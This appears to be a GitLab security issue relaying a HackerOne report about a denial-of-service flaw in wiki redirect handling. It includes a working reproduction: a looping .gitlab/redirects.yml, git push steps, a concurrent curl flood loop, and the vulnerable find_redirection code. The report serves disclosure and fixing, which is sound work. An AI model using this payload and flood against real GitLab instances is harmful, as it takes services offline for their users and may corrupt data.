Denial of Service by an Endless Redirection Loop in wiki_actions.rb

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3418023 by sim4n6 on 2025-11-09, assigned to GitLab Team:

Report | Attachments | How To Reproduce

HackerOne Analyst Summary

Summary of the issue

The researcher found DoS caused by Wiki redirects loop, with malicious redirects injected in project Wiki .gitlab/redirects.yml.

Steps to reproduce

  1. As the victim, connect to GDK host machine, update GDK to the latest version 18.6.0-pre 35cac0e094d
  2. As the attacker, use SSH port forwarding to connect victim's GDK on attacker's localhost port 3000

Note: By default, GDK is not accessible publicly. This step is used to connect target GDK from the attacker's machine, and it is not required in the real attack.

  1. As the attacker, sign in attacker's regular user on self-hosted GDK -> Create a public project under attacker's user namespace -> In the project, create a Wiki home page:

3418023-Step3-attacker-create-wiki-home-page.png

  1. As the attacker, on the attacker's machine, run command git clone http://127.0.0.1:3000/ATTACKER_USER_NAME/ATTACKER_PROJECT_NAME.wiki.git, with attacker's user name and project name in ATTACKER_USER_NAME/ATTACKER_PROJECT_NAME.

Note: This step will clone the attacker's project Wiki, not project itself.

  1. As the attacker, in the cloned directory, add .gitlab/redirects.yml with following content:
---
A: B
B: C
C: D
D: /C/

3418023-Step5-attacker-add-redirects-yml.png

  1. As the attacker, commit the change and push it to remote
  2. As the attacker, run following command to start attack, with attacker's user name and project name in ATTACKER_USER_NAME/ATTACKER_PROJECT_NAME:
for j in $(seq 1 100); do for i in $(seq 1 20); do curl -s -o /dev/null -w"%{http_code}\n" "http://localhost:3000/ATTACKER_USER_NAME/ATTACKER_PROJECT_NAME/-/wikis/A" & done; sleep 1; done
  1. As the victim, check htop on the host machine. You will see memory usage is increasing, however, the memory is not fully occupied:

3418023-Step8-victim-htop.png

  1. As the victim, visit the target GitLab. You can see the victim is not able to access the site:

3418023-Step9-victim-cannot-access-site.png

Impact statement

Malicious user can prevent other user from accessing the target GitLab service.

If you have any questions or concerns about this report, feel free to assign it to H1 Triage via the action picker with a comment indicating your request.

Original Report

Summary

Denial of Service by using the same path but with variant values in a redirection loop, making it an endless one.

Steps to reproduce
  1. Set up a self-managed Gitlab instance, say for me in s4iweb.duckdns.org
  2. Log in as any regular user (for instance, tester1).
  3. Create a blank public project in the personal user's namespace. The project is now located at tester1/testproject.
  4. Head to Plan > Wiki located at https://s4iweb.duckdns.org/tester1/testproject/-/wikis/home.
  5. Create your first page using the default values for home and some Content. Click on Create a page.
  6. Clone the project wiki using the command:
git clone https://tester1@s4iweb.duckdns.org/tester1/testproject.wiki.git  

You would get something like:

$ git clone https://tester1@s4iweb.duckdns.org/tester1/testproject.wiki.git  
Cloning into 'testproject.wiki'...  
remote: Enumerating objects: 5, done.  
remote: Counting objects: 100% (5/5), done.  
remote: Compressing objects: 100% (2/2), done.  
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)  
Receiving objects: 100% (5/5), done.

$ ls -la  
total 20  
drwxrwxr-x  4 sim4n6 sim4n6 4096 Nov  9 23:30 .  
drwxr-xr-x 26 sim4n6 sim4n6 4096 Nov  9 23:30 ..  
drwxrwxr-x  8 sim4n6 sim4n6 4096 Nov  9 23:30 .git  
drwxrwxr-x  2 sim4n6 sim4n6 4096 Nov  9 23:30 .gitlab  
-rw-rw-r--  1 sim4n6 sim4n6   13 Nov  9 23:30 home.md
  1. Edit .gitlab/redirects.yml using nano by replacing all the content of the file with:
---   
A: B  
B: C  
C: D  
D: /C/

The file .gitlab/redirect.yml is responsible for all wiki redirections, and we just created four redirections /A -> /B, /B -> /C, /C -> /D, and /D -> /C/ , which would result in an endless redirection loop.

  1. Now, commit and push the updated code:
git add .gitlab/redirects.yml  
git commit -m "added some redirections"  
git push   
  1. Click on https://s4iweb.duckdns.org/tester1/testproject/-/wikis/A to trigger the endless redirection loop. With htop on a GitLab self-hosted instance, you can already notice a slight impact.
  2. Such an effect can be leveraged into a full-scale attack (recording below please).
for j in $(seq 1 100); do for i in $(seq 1 20); do curl -s -o /dev/null -w"%{http_code}\n" "https://s4iweb.duckdns.org/tester1/testproject/-/wikis/A" & done; sleep 1; done  
Impact

Denial of service of the Gitlab self-managed instance (A: H). However, I noticed something special about this vulnerability. I had a data corruption/loss, which means this endless server-side redirection loop does impact the integrity metric, too.

Examples

(If the bug is project-related, please create an example project and export it using the project export feature)

  • The issue is reproducible using a blank public project created in the personal namespace of any regular user.

(If you are using an older version of GitLab, this will also help determine whether the bug has been fixed in a more recent version.)

  • Nope, used the latest version currently shared for gitlab-ee: 18.5.1-ee

(If the bug can be reproduced on GitLab.com without violating the Rules of Engagement as outlined in the program policy, please provide the full path to the project.)

  • Denial of service does violate the Rules of Engagement. Did not try on GitLab's production website.
What is the current bug behavior?

(What actually happens, including relevant screenshots, API results, or complete HTTP requests)

In the main code gitlabhq/gitlabhq/blob/efaaea3465bc18fed2d4cb4c9cf002e99391cf43/app/controllers/concerns/wiki_actions.rb#L442-L461, the function find_redirection() aims at detecting cyclical redirections by tracking the paths already visited.

  def find_redirection(path, redirect_limit = 50)  
    seen = Set[]  
    current_path = path

    redirect_limit.times do  
      seen << current_path  
      next_path = find_single_redirection(current_path)

      # if no single redirect is found, then use the current path  
      # unless it is the same as the original path  
      return current_path == path ? nil : current_path if next_path.nil?

      # if the file was already seen, then we have a loop  
      return { error: true, reason: :loop } if seen.include?(next_path)

      current_path = next_path  
    end

    { error: true, reason: :limit }  
  end  

In sum, the function does something similar to:

  1. Maintain a seen set of visited paths to ensure uniqueness.
  2. For each redirection:
  3. Check if the next path has already been visited.
    a. If yes → cycle detected, breaks the loop and errors.
    b. If no → continue to the following redirects.
  4. To prevent very long chains of redirections (around 50), it enforces a maximum redirect limit.

The problem: what about if a path has already been visited, but was present in seen in a different format? I mean path could take different values while pointing to the same resource, for instance, /a and /a/ with a trailing /.

What is the expected correct behavior?

(What you should see instead: include relevant screenshots, API results, or complete HTTP requests)

  • The path needs to be normalized to ensure deduplication.
Relevant logs and/or screenshots

(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)

simplescreenrecorder-2025-11-09_23.42.09.mp4

Output of checks

(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)

  • This bug was not tried on GitLab.com
Results of GitLab environment info

(For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:env:info)


System information  
System:		Ubuntu 24.04  
Proxy:		no_proxy: 127.0.0.1,localhost  
		https_proxy: http://127.0.0.1:3128  
		http_proxy: http://127.0.0.1:3128  
Current User:	git  
Using RVM:	no  
Ruby Version:	3.2.8  
Gem Version:	3.7.1  
Bundler Version:2.7.1  
Rake Version:	13.0.6  
Redis Version:	7.2.10  
Sidekiq Version:7.3.9  
Go Version:	unknown

GitLab information  
Version:	18.5.1-ee  
Revision:	a01b2eeb76d  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	16.10  
URL:		https://s4iweb.duckdns.org  
HTTP Clone URL:	https://s4iweb.duckdns.org/some-group/some-project.git  
SSH Clone URL:	git@s4iweb.duckdns.org:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: 

GitLab Shell  
Version:	14.45.3  
Repository storages:  
- default: 	unix:/var/opt/gitlab/gitaly/gitaly.socket  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Gitaly  
- default Address: 	unix:/var/opt/gitlab/gitaly/gitaly.socket  
- default Version: 	18.5.1  
- default Git Version: 	2.50.1

(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production)

Impact

Denial of service of the Gitlab self-monitored instance (A: H). However, I noticed something special about this vulnerability. I had a data corruption/loss, which means this endless server-side redirection loop does impact the integrity metric, too, till the GitLab instance does not recovers.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: